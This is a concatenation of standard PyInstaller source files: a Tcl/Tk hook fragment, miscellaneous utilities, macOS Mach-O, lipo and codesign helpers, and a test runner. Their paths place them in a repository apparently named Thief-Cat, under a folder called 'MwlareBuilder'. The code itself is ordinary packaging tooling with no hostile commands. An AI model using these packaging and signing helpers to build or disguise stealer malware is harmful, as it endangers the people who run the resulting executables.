    tcltree = Tree(tcl_root, prefix=TCL_ROOTNAME, excludes=['demos', '*.lib', 'tclConfig.sh'])
    tktree = Tree(tk_root, prefix=TK_ROOTNAME, excludes=['demos', '*.lib', 'tkConfig.sh'])

    # If the current Tcl installation is a Teapot-distributed version of ActiveTcl and the current platform is Mac OS,
    # warn that this is bad.
    if compat.is_darwin:
        _warn_if_activetcl_or_teapot_installed(tcl_root, tcltree)

    # Collect Tcl modules.
    tclmodulestree = _collect_tcl_modules(tcl_root)

    return tcltree + tktree + tclmodulestree

ThiefCat_assets/MwlareBuilder/utils/hooks/tcl_tk.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
This module contains miscellaneous functions that do not fit anywhere else.
"""

import glob
import os
import pprint
import codecs
import re
import tokenize
import io
import pathlib

from PyInstaller import log as logging
from PyInstaller.compat import is_win

logger = logging.getLogger(__name__)


def dlls_in_subdirs(directory):
    """
    Returns a list *.dll, *.so, *.dylib in the given directory and its subdirectories.
    """
    filelist = []
    for root, dirs, files in os.walk(directory):
        filelist.extend(dlls_in_dir(root))
    return filelist


def dlls_in_dir(directory):
    """
    Returns a list of *.dll, *.so, *.dylib in the given directory.
    """
    return files_in_dir(directory, ["*.so", "*.dll", "*.dylib"])


def files_in_dir(directory, file_patterns=None):
    """
    Returns a list of files in the given directory that match the given pattern.
    """

    file_patterns = file_patterns or []

    files = []
    for file_pattern in file_patterns:
        files.extend(glob.glob(os.path.join(directory, file_pattern)))
    return files


def get_path_to_toplevel_modules(filename):
    """
    Return the path to top-level directory that contains Python modules.

    It will look in parent directories for __init__.py files. The first parent directory without __init__.py is the
    top-level directory.

    Returned directory might be used to extend the PYTHONPATH.
    """
    curr_dir = os.path.dirname(os.path.abspath(filename))
    pattern = '__init__.py'

    # Try max. 10 levels up.
    try:
        for i in range(10):
            files = set(os.listdir(curr_dir))
            # 'curr_dir' is still not top-level; go to parent dir.
            if pattern in files:
                curr_dir = os.path.dirname(curr_dir)
            # Top-level dir found; return it.
            else:
                return curr_dir
    except IOError:
        pass
    # No top-level directory found, or error was encountered.
    return None


def mtime(fnm):
    try:
        # TODO: explain why this does not use os.path.getmtime() ?
        #       - It is probably not used because it returns float and not int.
        return os.stat(fnm)[8]
    except Exception:
        return 0


def save_py_data_struct(filename, data):
    """
    Save data into text file as Python data structure.
    :param filename:
    :param data:
    :return:
    """
    dirname = os.path.dirname(filename)
    if not os.path.exists(dirname):
        os.makedirs(dirname)
    with open(filename, 'w', encoding='utf-8') as f:
        pprint.pprint(data, f)


def load_py_data_struct(filename):
    """
    Load data saved as python code and interpret that code.
    :param filename:
    :return:
    """
    with open(filename, 'r', encoding='utf-8') as f:
        if is_win:
            # import versioninfo so that VSVersionInfo can parse correctly.
            from PyInstaller.utils.win32 import versioninfo  # noqa: F401

        return eval(f.read())


def absnormpath(apath):
    return os.path.abspath(os.path.normpath(apath))


def module_parent_packages(full_modname):
    """
    Return list of parent package names.
        'aaa.bb.c.dddd' ->  ['aaa', 'aaa.bb', 'aaa.bb.c']
    :param full_modname: Full name of a module.
    :return: List of parent module names.
    """
    prefix = ''
    parents = []
    # Ignore the last component in module name and get really just parent, grandparent, great grandparent, etc.
    for pkg in full_modname.split('.')[0:-1]:
        # Ensure that first item does not start with dot '.'
        prefix += '.' + pkg if prefix else pkg
        parents.append(prefix)
    return parents


def is_file_qt_plugin(filename):
    """
    Check if the given file is a Qt plugin file.
    :param filename: Full path to file to check.
    :return: True if given file is a Qt plugin file, False if not.
    """

    # Check the file contents; scan for QTMETADATA string. The scan is based on the brute-force Windows codepath of
    # findPatternUnloaded() from qtbase/src/corelib/plugin/qlibrary.cpp in Qt5.
    with open(filename, 'rb') as fp:
        fp.seek(0, os.SEEK_END)
        end_pos = fp.tell()

        SEARCH_CHUNK_SIZE = 8192
        QTMETADATA_MAGIC = b'QTMETADATA '

        magic_offset = -1
        while end_pos >= len(QTMETADATA_MAGIC):
            start_pos = max(end_pos - SEARCH_CHUNK_SIZE, 0)
            chunk_size = end_pos - start_pos
            # Is the remaining chunk large enough to hold the pattern?
            if chunk_size < len(QTMETADATA_MAGIC):
                break
            # Read and scan the chunk
            fp.seek(start_pos, os.SEEK_SET)
            buf = fp.read(chunk_size)
            pos = buf.rfind(QTMETADATA_MAGIC)
            if pos != -1:
                magic_offset = start_pos + pos
                break
            # Adjust search location for next chunk; ensure proper overlap.
            end_pos = start_pos + len(QTMETADATA_MAGIC) - 1
        if magic_offset == -1:
            return False

        return True


BOM_MARKERS_TO_DECODERS = {
    codecs.BOM_UTF32_LE: codecs.utf_32_le_decode,
    codecs.BOM_UTF32_BE: codecs.utf_32_be_decode,
    codecs.BOM_UTF32: codecs.utf_32_decode,
    codecs.BOM_UTF16_LE: codecs.utf_16_le_decode,
    codecs.BOM_UTF16_BE: codecs.utf_16_be_decode,
    codecs.BOM_UTF16: codecs.utf_16_decode,
    codecs.BOM_UTF8: codecs.utf_8_decode,
}
BOM_RE = re.compile(rb"\A(%s)?(.*)" % b"|".join(map(re.escape, BOM_MARKERS_TO_DECODERS)), re.DOTALL)


def decode(raw: bytes):
    """
    Decode bytes to string, respecting and removing any byte-order marks if present, or respecting but not removing any
    PEP263 encoding comments (# encoding: cp1252).
    """
    bom, raw = BOM_RE.match(raw).groups()
    if bom:
        return BOM_MARKERS_TO_DECODERS[bom](raw)[0]

    encoding, _ = tokenize.detect_encoding(io.BytesIO(raw).readline)
    return raw.decode(encoding)


def is_iterable(arg):
    """
    Check if the passed argument is an iterable."
    """
    try:
        iter(arg)
    except TypeError:
        return False
    return True


def path_to_parent_archive(filename):
    """
    Check if the given file path points to a file inside an existing archive file. Returns first path from the set of
    parent paths that points to an existing file, or `None` if no such path exists (i.e., file is an actual stand-alone
    file).
    """
    for parent in pathlib.Path(filename).parents:
        if parent.is_file():
            return parent
    return None

ThiefCat_assets/MwlareBuilder/utils/misc.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2014-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
Utils for Mac OS platform.
"""

import math
import os
import pathlib
import subprocess
import shutil
import tempfile

from macholib.mach_o import (
    LC_BUILD_VERSION,
    LC_CODE_SIGNATURE,
    LC_ID_DYLIB,
    LC_LOAD_DYLIB,
    LC_LOAD_UPWARD_DYLIB,
    LC_LOAD_WEAK_DYLIB,
    LC_PREBOUND_DYLIB,
    LC_REEXPORT_DYLIB,
    LC_RPATH,
    LC_SEGMENT_64,
    LC_SYMTAB,
    LC_VERSION_MIN_MACOSX,
)
from macholib.MachO import MachO
import macholib.util

import PyInstaller.log as logging
from PyInstaller.compat import base_prefix

logger = logging.getLogger(__name__)


def is_homebrew_env():
    """
    Check if Python interpreter was installed via Homebrew command 'brew'.

    :return: True if Homebrew else otherwise.
    """
    # Python path prefix should start with Homebrew prefix.
    env_prefix = get_homebrew_prefix()
    if env_prefix and base_prefix.startswith(env_prefix):
        return True
    return False


def is_macports_env():
    """
    Check if Python interpreter was installed via Macports command 'port'.

    :return: True if Macports else otherwise.
    """
    # Python path prefix should start with Macports prefix.
    env_prefix = get_macports_prefix()
    if env_prefix and base_prefix.startswith(env_prefix):
        return True
    return False


def get_homebrew_prefix():
    """
    :return: Root path of the Homebrew environment.
    """
    prefix = shutil.which('brew')
    # Conversion:  /usr/local/bin/brew -> /usr/local
    prefix = os.path.dirname(os.path.dirname(prefix))
    return prefix


def get_macports_prefix():
    """
    :return: Root path of the Macports environment.
    """
    prefix = shutil.which('port')
    # Conversion:  /usr/local/bin/port -> /usr/local
    prefix = os.path.dirname(os.path.dirname(prefix))
    return prefix


def _find_version_cmd(header):
    """
    Helper that finds the version command in the given MachO header.
    """
    # The SDK version is stored in LC_BUILD_VERSION command (used when targeting the latest versions of macOS) or in
    # older LC_VERSION_MIN_MACOSX command. Check for presence of either.
    version_cmd = [cmd for cmd in header.commands if cmd[0].cmd in {LC_BUILD_VERSION, LC_VERSION_MIN_MACOSX}]
    assert len(version_cmd) == 1, "Expected exactly one LC_BUILD_VERSION or LC_VERSION_MIN_MACOSX command!"
    return version_cmd[0]


def get_macos_sdk_version(filename):
    """
    Obtain the version of macOS SDK against which the given binary was built.

    NOTE: currently, version is retrieved only from the first arch slice in the binary.

    :return: (major, minor, revision) tuple
    """
    binary = MachO(filename)
    header = binary.headers[0]
    # Find version command using helper
    version_cmd = _find_version_cmd(header)
    return _hex_triplet(version_cmd[1].sdk)


def _hex_triplet(version):
    # Parse SDK version number
    major = (version & 0xFF0000) >> 16
    minor = (version & 0xFF00) >> 8
    revision = (version & 0xFF)
    return major, minor, revision


def macosx_version_min(filename: str) -> tuple:
    """
    Get the -macosx-version-min used to compile a macOS binary.

    For fat binaries, the minimum version is selected.
    """
    versions = []
    for header in MachO(filename).headers:
        cmd = _find_version_cmd(header)
        if cmd[0].cmd == LC_VERSION_MIN_MACOSX:
            versions.append(cmd[1].version)
        else:
            # macOS >= 10.14 uses LC_BUILD_VERSION instead.
            versions.append(cmd[1].minos)

    return min(map(_hex_triplet, versions))


def set_macos_sdk_version(filename, major, minor, revision):
    """
    Overwrite the macOS SDK version declared in the given binary with the specified version.

    NOTE: currently, only version in the first arch slice is modified.
    """
    # Validate values
    assert 0 <= major <= 255, "Invalid major version value!"
    assert 0 <= minor <= 255, "Invalid minor version value!"
    assert 0 <= revision <= 255, "Invalid revision value!"
    # Open binary
    binary = MachO(filename)
    header = binary.headers[0]
    # Find version command using helper
    version_cmd = _find_version_cmd(header)
    # Write new SDK version number
    version_cmd[1].sdk = major << 16 | minor << 8 | revision
    # Write changes back.
    with open(binary.filename, 'rb+') as fp:
        binary.write(fp)


def fix_exe_for_code_signing(filename):
    """
    Fixes the Mach-O headers to make code signing possible.

    Code signing on Mac OS does not work out of the box with embedding .pkg archive into the executable.

    The fix is done this way:
    - Make the embedded .pkg archive part of the Mach-O 'String Table'. 'String Table' is at end of the Mac OS exe file,
      so just change the size of the table to cover the end of the file.
    - Fix the size of the __LINKEDIT segment.

    Note: the above fix works only if the single-arch thin executable or the last arch slice in a multi-arch fat
    executable is not signed, because LC_CODE_SIGNATURE comes after LC_SYMTAB, and because modification of headers
    invalidates the code signature. On modern arm64 macOS, code signature is mandatory, and therefore compilers
    create a dummy signature when executable is built. In such cases, that signature needs to be removed before this
    function is called.

    Mach-O format specification: http://developer.apple.com/documentation/Darwin/Reference/ManPages/man5/Mach-O.5.html
    """
    # Estimate the file size after data was appended
    file_size = os.path.getsize(filename)

    # Take the last available header. A single-arch thin binary contains a single slice, while a multi-arch fat binary
    # contains multiple, and we need to modify the last one, which is adjacent to the appended data.
    executable = MachO(filename)
    header = executable.headers[-1]

    # Sanity check: ensure the executable slice is not signed (otherwise signature's section comes last in the
    # __LINKEDIT segment).
    sign_sec = [cmd for cmd in header.commands if cmd[0].cmd == LC_CODE_SIGNATURE]
    assert len(sign_sec) == 0, "Executable contains code signature!"

    # Find __LINKEDIT segment by name (16-byte zero padded string)
    __LINKEDIT_NAME = b'__LINKEDIT\x00\x00\x00\x00\x00\x00'
    linkedit_seg = [cmd for cmd in header.commands if cmd[0].cmd == LC_SEGMENT_64 and cmd[1].segname == __LINKEDIT_NAME]
    assert len(linkedit_seg) == 1, "Expected exactly one __LINKEDIT segment!"
    linkedit_seg = linkedit_seg[0][1]  # Take the segment command entry
    # Find SYMTAB section
    symtab_sec = [cmd for cmd in header.commands if cmd[0].cmd == LC_SYMTAB]
    assert len(symtab_sec) == 1, "Expected exactly one SYMTAB section!"
    symtab_sec = symtab_sec[0][1]  # Take the symtab command entry

    # The string table is located at the end of the SYMTAB section, which in turn is the last section in the __LINKEDIT
    # segment. Therefore, the end of SYMTAB section should be aligned with the end of __LINKEDIT segment, and in turn
    # both should be aligned with the end of the file (as we are in the last or the only arch slice).
    #
    # However, when removing the signature from the executable using codesign under Mac OS 10.13, the codesign utility
    # may produce an invalid file, with the declared length of the __LINKEDIT segment (linkedit_seg.filesize) pointing
    # beyond the end of file, as reported in issue #6167.
    #
    # We can compensate for that by not using the declared sizes anywhere, and simply recompute them. In the final
    # binary, the __LINKEDIT segment and the SYMTAB section MUST end at the end of the file (otherwise, we have bigger
    # issues...). So simply recompute the declared sizes as difference between the final file length and the
    # corresponding start offset (NOTE: the offset is relative to start of the slice, which is stored in header.offset.
    # In thin binaries, header.offset is zero and start offset is relative to the start of file, but with fat binaries,
    # header.offset is non-zero)
    symtab_sec.strsize = file_size - (header.offset + symtab_sec.stroff)
    linkedit_seg.filesize = file_size - (header.offset + linkedit_seg.fileoff)

    # Compute new vmsize by rounding filesize up to full page size.
    page_size = (0x4000 if _get_arch_string(header.header).startswith('arm64') else 0x1000)
    linkedit_seg.vmsize = math.ceil(linkedit_seg.filesize / page_size) * page_size

    # NOTE: according to spec, segments need to be aligned to page boundaries: 0x4000 (16 kB) for arm64, 0x1000 (4 kB)
    # for other arches. But it seems we can get away without rounding and padding the segment file size - perhaps
    # because it is the last one?

    # Write changes
    with open(filename, 'rb+') as fp:
        executable.write(fp)

    # In fat binaries, we also need to adjust the fat header. macholib as of version 1.14 does not support this, so we
    # need to do it ourselves...
    if executable.fat:
        from macholib.mach_o import (FAT_MAGIC, FAT_MAGIC_64, fat_arch, fat_arch64, fat_header)
        with open(filename, 'rb+') as fp:
            # Taken from MachO.load_fat() implementation. The fat header's signature has already been validated when we
            # loaded the file for the first time.
            fat = fat_header.from_fileobj(fp)
            if fat.magic == FAT_MAGIC:
                archs = [fat_arch.from_fileobj(fp) for i in range(fat.nfat_arch)]
            elif fat.magic == FAT_MAGIC_64:
                archs = [fat_arch64.from_fileobj(fp) for i in range(fat.nfat_arch)]
            # Adjust the size in the fat header for the last slice.
            arch = archs[-1]
            arch.size = file_size - arch.offset
            # Now write the fat headers back to the file.
            fp.seek(0)
            fat.to_fileobj(fp)
            for arch in archs:
                arch.to_fileobj(fp)


def _get_arch_string(header):
    """
    Converts cputype and cpusubtype from mach_o.mach_header_64 into arch string comparible with lipo/codesign.
    The list of supported architectures can be found in man(1) arch.
    """
    # NOTE: the constants below are taken from macholib.mach_o
    cputype = header.cputype
    cpusubtype = header.cpusubtype & 0x0FFFFFFF
    if cputype == 0x01000000 | 7:
        if cpusubtype == 8:
            return 'x86_64h'  # 64-bit intel (haswell)
        else:
            return 'x86_64'  # 64-bit intel
    elif cputype == 0x01000000 | 12:
        if cpusubtype == 2:
            return 'arm64e'
        else:
            return 'arm64'
    elif cputype == 7:
        return 'i386'  # 32-bit intel
    assert False, 'Unhandled architecture!'


class InvalidBinaryError(Exception):
    """
    Exception raised by ˙get_binary_architectures˙ when it is passed an invalid binary.
    """
    pass


class IncompatibleBinaryArchError(Exception):
    """
    Exception raised by `binary_to_target_arch` when the passed binary fails the strict architecture check.
    """
    pass


def get_binary_architectures(filename):
    """
    Inspects the given binary and returns tuple (is_fat, archs), where is_fat is boolean indicating fat/thin binary,
    and arch is list of architectures with lipo/codesign compatible names.
    """
    try:
        executable = MachO(filename)
    except ValueError as e:
        raise InvalidBinaryError("Invalid Mach-O binary!") from e
    return bool(executable.fat), [_get_arch_string(hdr.header) for hdr in executable.headers]


def convert_binary_to_thin_arch(filename, thin_arch, output_filename=None):
    """
    Convert the given fat binary into thin one with the specified target architecture.
    """
    output_filename = output_filename or filename
    cmd_args = ['lipo', '-thin', thin_arch, filename, '-output', output_filename]
    p = subprocess.run(cmd_args, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True)
    if p.returncode:
        raise SystemError(f"lipo command ({cmd_args}) failed with error code {p.returncode}!\noutput: {p.stdout}")


def merge_into_fat_binary(output_filename, *slice_filenames):
    """
    Merge the given single-arch thin binary files into a fat binary.
    """
    cmd_args = ['lipo', '-create', '-output', output_filename, *slice_filenames]
    p = subprocess.run(cmd_args, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True)
    if p.returncode:
        raise SystemError(f"lipo command ({cmd_args}) failed with error code {p.returncode}!\noutput: {p.stdout}")


def binary_to_target_arch(filename, target_arch, display_name=None):
    """
    Check that the given binary contains required architecture slice(s) and convert the fat binary into thin one,
    if necessary.
    """
    if not display_name:
        display_name = filename  # Same as input file
    # Check the binary
    is_fat, archs = get_binary_architectures(filename)
    if target_arch == 'universal2':
        if not is_fat:
            raise IncompatibleBinaryArchError(f"{display_name} is not a fat binary!")
        # Assume fat binary is universal2; nothing to do
    else:
        if is_fat:
            if target_arch not in archs:
                raise IncompatibleBinaryArchError(f"{display_name} does not contain slice for {target_arch}!")
            # Convert to thin arch
            logger.debug("Converting fat binary %s (%s) to thin binary (%s)", filename, display_name, target_arch)
            convert_binary_to_thin_arch(filename, target_arch)
        else:
            if target_arch not in archs:
                raise IncompatibleBinaryArchError(
                    f"{display_name} is incompatible with target arch {target_arch} (has arch: {archs[0]})!"
                )
            # Binary has correct arch; nothing to do


def remove_signature_from_binary(filename):
    """
    Remove the signature from all architecture slices of the given binary file using the codesign utility.
    """
    logger.debug("Removing signature from file %r", filename)
    cmd_args = ['codesign', '--remove', '--all-architectures', filename]
    p = subprocess.run(cmd_args, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True)
    if p.returncode:
        raise SystemError(f"codesign command ({cmd_args}) failed with error code {p.returncode}!\noutput: {p.stdout}")


def sign_binary(filename, identity=None, entitlements_file=None, deep=False):
    """
    Sign the binary using codesign utility. If no identity is provided, ad-hoc signing is performed.
    """
    extra_args = []
    if not identity:
        identity = '-'  # ad-hoc signing
    else:
        extra_args.append('--options=runtime')  # hardened runtime
    if entitlements_file:
        extra_args.append('--entitlements')
        extra_args.append(entitlements_file)
    if deep:
        extra_args.append('--deep')

    logger.debug("Signing file %r", filename)
    cmd_args = ['codesign', '-s', identity, '--force', '--all-architectures', '--timestamp', *extra_args, filename]
    p = subprocess.run(cmd_args, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True)
    if p.returncode:
        raise SystemError(f"codesign command ({cmd_args}) failed with error code {p.returncode}!\noutput: {p.stdout}")


def set_dylib_dependency_paths(filename, target_rpath):
    """
    Modify the given dylib's identity (in LC_ID_DYLIB command) and the paths to dependent dylibs (in LC_LOAD_DYLIB)
    commands into `@rpath/<basename>` format, remove any existing rpaths (LC_RPATH commands), and add a new rpath
    (LC_RPATH command) with the specified path.

    Uses `install-tool-name` utility to make the changes.

    The system libraries (e.g., the ones found in /usr/lib) are exempted from path rewrite.

    For multi-arch fat binaries, this function extracts each slice into temporary file, processes it separately,
    and then merges all processed slices back into fat binary. This is necessary because `install-tool-name` cannot
    modify rpaths in cases when an existing rpath is present only in one slice.
    """

    # Check if we are dealing with a fat binary; the `install-name-tool` seems to be unable to remove an rpath that is
    # present only in one slice, so we need to extract each slice, process it separately, and then stich processed
    # slices back into a fat binary.
    is_fat, archs = get_binary_architectures(filename)

    if is_fat:
        with tempfile.TemporaryDirectory() as tmpdir:
            slice_filenames = []
            for arch in archs:
                slice_filename = os.path.join(tmpdir, arch)
                convert_binary_to_thin_arch(filename, arch, output_filename=slice_filename)
                _set_dylib_dependency_paths(slice_filename, target_rpath)
                slice_filenames.append(slice_filename)
            merge_into_fat_binary(filename, *slice_filenames)
    else:
        # Thin binary - we can process it directly
        _set_dylib_dependency_paths(filename, target_rpath)


def _set_dylib_dependency_paths(filename, target_rpath):
    """
    The actual implementation of set_dylib_dependency_paths functionality.

    Implicitly assumes that a single-arch thin binary is given.
    """

    # Relocatable commands that we should overwrite - same list as used by `macholib`.
    _RELOCATABLE = {
        LC_LOAD_DYLIB,
        LC_LOAD_UPWARD_DYLIB,
        LC_LOAD_WEAK_DYLIB,
        LC_PREBOUND_DYLIB,
        LC_REEXPORT_DYLIB,
    }

    # Parse dylib's header to extract the following commands:
    #  - LC_LOAD_DYLIB (or any member of _RELOCATABLE list): dylib load commands (dependent libraries)
    #  - LC_RPATH: rpath definitions
    #  - LC_ID_DYLIB: dylib's identity
    binary = MachO(filename)

    dylib_id = None
    rpaths = set()
    linked_libs = set()

    for header in binary.headers:
        for cmd in header.commands:
            lc_type = cmd[0].cmd
            if lc_type not in _RELOCATABLE and lc_type not in {LC_RPATH, LC_ID_DYLIB}:
                continue

            # Decode path, strip trailing NULL characters
            path = cmd[2].decode('utf-8').rstrip('\x00')

            if lc_type in _RELOCATABLE:
                linked_libs.add(path)
            elif lc_type == LC_RPATH:
                rpaths.add(path)
            elif lc_type == LC_ID_DYLIB:
                dylib_id = path

    del binary

    # If dylib has identifier set, compute the normalized version, in form of `@rpath/basename`.
    normalized_dylib_id = None
    if dylib_id:
        normalized_dylib_id = str(pathlib.PurePath('@rpath') / pathlib.PurePath(dylib_id).name)

    # Find dependent libraries that should have their prefix path changed to `@rpath`. If any dependent libraries
    # end up using `@rpath` (originally or due to rewrite), set the `rpath_required` boolean to True, so we know
    # that we need to add our rpath.
    changed_lib_paths = []
    rpath_required = False
    for linked_lib in linked_libs:
        # Leave system dynamic libraries unchanged.
        if macholib.util.in_system_path(linked_lib):
            continue

        # The older python.org builds that use system Tcl/Tk framework have their _tkinter.cpython-*-darwin.so
        # library linked against /Library/Frameworks/Tcl.framework/Versions/8.5/Tcl and
        # /Library/Frameworks/Tk.framework/Versions/8.5/Tk, although the actual frameworks are located in
        # /System/Library/Frameworks. Therefore, they slip through the above in_system_path() check, and we need to
        # exempt them manually.
        _exemptions = [
            '/Library/Frameworks/Tcl.framework/',
            '/Library/Frameworks/Tk.framework/',
        ]
        if any([x in linked_lib for x in _exemptions]):
            continue

        # This linked library will end up using `@rpath`, whether modified or not...
        rpath_required = True

        new_path = str(pathlib.PurePath('@rpath') / pathlib.PurePath(linked_lib).name)
        if linked_lib == new_path:
            continue

        changed_lib_paths.append((linked_lib, new_path))

    # Gather arguments for `install-name-tool`
    install_name_tool_args = []

    # Modify the dylib identifier if necessary
    if normalized_dylib_id and normalized_dylib_id != dylib_id:
        install_name_tool_args += ["-id", normalized_dylib_id]

    # Changed libs
    for original_path, new_path in changed_lib_paths:
        install_name_tool_args += ["-change", original_path, new_path]

    # Remove all existing rpaths except for the target rpath (if it already exists). `install_name_tool` disallows using
    # `-delete_rpath` and `-add_rpath` with the same argument.
    for rpath in rpaths:
        if rpath == target_rpath:
            continue
        install_name_tool_args += [
            "-delete_rpath",
            rpath,
        ]

    # If any of linked libraries use @rpath now and our target rpath is not already added, add it.
    # NOTE: @rpath in the dylib identifier does not actually require the rpath to be set on the binary...
    if rpath_required and target_rpath not in rpaths:
        install_name_tool_args += [
            "-add_rpath",
            target_rpath,
        ]

    # If we have no arguments, finish immediately.
    if not install_name_tool_args:
        return

    # Run `install_name_tool`
    cmd_args = ["install_name_tool", *install_name_tool_args, filename]
    p = subprocess.run(cmd_args, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True)
    if p.returncode:
        raise SystemError(
            f"install_name_tool command ({cmd_args}) failed with error code {p.returncode}!\noutput: {p.stdout}"
        )


def is_framework_bundle_lib(lib_path):
    """
    Check if the given shared library is part of a .framework bundle.
    """

    lib_path = pathlib.PurePath(lib_path)

    # For now, focus only on versioned layout, such as `QtCore.framework/Versions/5/QtCore`
    if lib_path.parent.parent.name != "Versions":
        return False
    if lib_path.parent.parent.parent.name != lib_path.name + ".framework":
        return False

    return True


def collect_files_from_framework_bundles(collected_files):
    """
    Scan the given TOC list of collected files for shared libraries that are collected from macOS .framework bundles,
    and collect the bundles' Info.plist files. Additionally, the following symbolic links:
      - `Versions/Current` pointing to the `Versions/<version>` directory containing the binary
      - `<name>` in the top-level .framework directory, pointing to `Versions/Current/<name>`
      - `Resources` in the top-level .framework directory, pointing to `Versions/Current/Resources`
      - additional directories in top-level .framework directory, pointing to their counterparts in `Versions/Current`
        directory.

    Returns TOC list for the discovered Info.plist files and generated symbolic links. The list does not contain
    duplicated entries.
    """
    framework_files = set()  # Additional entries for collected files. Use set for de-duplication.
    framework_paths = set()  # Registered framework paths for 2nd pass.

    # 1st pass: discover binaries from .framework bundles, and for each such binary:
    #   - collect `Info.plist`
    #   - create `Current` -> `<version>` symlink in `<name>.framework/Versions` directory.
    #   - create `<name>.framework/<name>` -> `<name>.framework/Versions/Current/<name>` symlink.
    #   - create `<name>.framework/Resources` -> `<name>.framework/Versions/Current/Resources` symlink.
    for dest_name, src_name, typecode in collected_files:
        if typecode != 'BINARY':
            continue

        src_path = pathlib.Path(src_name)  # /src/path/to/<name>.framework/Versions/<version>/<name>
        dest_path = pathlib.PurePath(dest_name)  # /dest/path/to/<name>.framework/Versions/<version>/<name>

        # Check whether binary originates from a .framework bundle
        if not is_framework_bundle_lib(src_path):
            continue

        # Check whether binary is also collected into a .framework bundle (i.e., the original layout is preserved)
        if not is_framework_bundle_lib(dest_path):
            continue

        # Assuming versioned layout, Info.plist should exist in Resources directory located next to the binary.
        info_plist_src = src_path.parent / "Resources" / "Info.plist"
        if not info_plist_src.is_file():
            # Alas, the .framework bundles shipped with PySide/PyQt might have Info.plist available only in the
            # top-level Resources directory. So accommodate this scenario as well, but collect the file into
            # versioned directory to appease the code-signing gods...
            info_plist_src_top = src_path.parent.parent.parent / "Resources" / "Info.plist"
            if not info_plist_src_top.is_file():
                raise SystemError(
                    f"Could not find Info.plist file for .framework bundle in {info_plist_src} or {info_plist_src_top}!"
                )
            info_plist_src = info_plist_src_top
        info_plist_dest = dest_path.parent / "Resources" / "Info.plist"
        framework_files.add((str(info_plist_dest), str(info_plist_src), "DATA"))

        # Reconstruct the symlink Versions/Current -> Versions/<version>.
        # This one seems to be necessary for code signing, but might be absent from .framework bundles shipped with
        # python packages. So we always create it ourselves.
        framework_files.add((str(dest_path.parent.parent / "Current"), str(dest_path.parent.name), "SYMLINK"))

        dest_framework_path = dest_path.parent.parent.parent  # Top-level .framework directory path.

        # Symlink the binary in the `Current` directory to the top-level .framework directory.
        framework_files.add((
            str(dest_framework_path / dest_path.name),
            str(pathlib.PurePath("Versions/Current") / dest_path.name),
            "SYMLINK",
        ))

        # Ditto for the `Resources` directory.
        framework_files.add((
            str(dest_framework_path / "Resources"),
            "Versions/Current/Resources",
            "SYMLINK",
        ))

        # Register the framework parent path to use in additional directories scan in subsequent pass.
        framework_paths.add(dest_framework_path)

    # 2nd pass: scan for additional collected directories from .framework bundles, and create symlinks to the top-level
    # application directory. Make the outer loop go over the registered framework paths, so it becomes no-op if no
    # framework paths are registered.
    VALID_SUBDIRS = {'Helpers', 'Resources'}

    for dest_framework_path in framework_paths:
        for dest_name, src_name, typecode in collected_files:
            dest_path = pathlib.PurePath(dest_name)

            # Try matching against framework path
            try:
                remaining_path = dest_path.relative_to(dest_framework_path)
            except ValueError:  # dest_path is not subpath of dest_framework_path
                continue

            remaining_path_parts = remaining_path.parts

            # We are interested only in entries under Versions directory.
            if remaining_path_parts[0] != 'Versions':
                continue

            # If the entry name is among valid sub-directory names, create symlink.
            dir_name = remaining_path_parts[2]
            if dir_name not in VALID_SUBDIRS:
                continue

            framework_files.add((
                str(dest_framework_path / dir_name),
                str(pathlib.PurePath("Versions/Current") / dir_name),
                "SYMLINK",
            ))

    return sorted(framework_files)

ThiefCat_assets/MwlareBuilder/utils/osx.py
KSCH-58/Thief-Cat
# -----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
# -----------------------------------------------------------------------------

import argparse
import sys

import pytest

from PyInstaller.compat import importlib_metadata


def paths_to_test(include_only=None):
    """
    If ``include_only`` is falsey, this functions returns paths from all entry points. Otherwise, this parameter
    must be a string or sequence of strings. In this case, this function will return *only* paths from entry points
    whose ``module_name`` begins with the provided string(s).
    """
    # Convert a string to a list.
    if isinstance(include_only, str):
        include_only = [include_only]

    # Walk through all entry points.
    test_path_list = []
    for entry_point in importlib_metadata.entry_points(group="PyInstaller40", name="tests"):
        # Implement ``include_only``.
        if (
            not include_only  # If falsey, include everything,
            # Otherwise, include only the specified modules.
            or any(entry_point.module.startswith(name) for name in include_only)
        ):
            test_path_list += list(entry_point.load()())
    return test_path_list


# Run pytest on all tests registered by the PyInstaller setuptools testing entry point. If provided,
# the ``include_only`` argument is passed to ``path_to_test``.
def run_pytest(*args, **kwargs):
    paths = paths_to_test(include_only=kwargs.pop("include_only", None))
    # Return an error code if no tests were discovered.
    if not paths:
        print("Error: no tests discovered.", file=sys.stderr)
        # This indicates no tests were discovered; see
        # https://docs.pytest.org/en/latest/usage.html#possible-exit-codes.
        return 5
    else:
        # See https://docs.pytest.org/en/latest/usage.html#calling-pytest-from-python-code.
        # Omit ``args[0]``, which is the name of this script.
        print("pytest " + " ".join([*paths, *args[1:]]))
        return pytest.main([*paths, *args[1:]], **kwargs)


if __name__ == "__main__":
    # Look only for the ``--include_only`` argument.
    parser = argparse.ArgumentParser(description='Run PyInstaller packaging tests.')
    parser.add_argument(
        "--include_only",
        action="append",
        help="Only run tests from the specified package.",
    )
    args, unknown = parser.parse_known_args(sys.argv)
    # Convert the parsed args into a dict using ``vars(args)``.
    sys.exit(run_pytest(*unknown, **vars(args)))

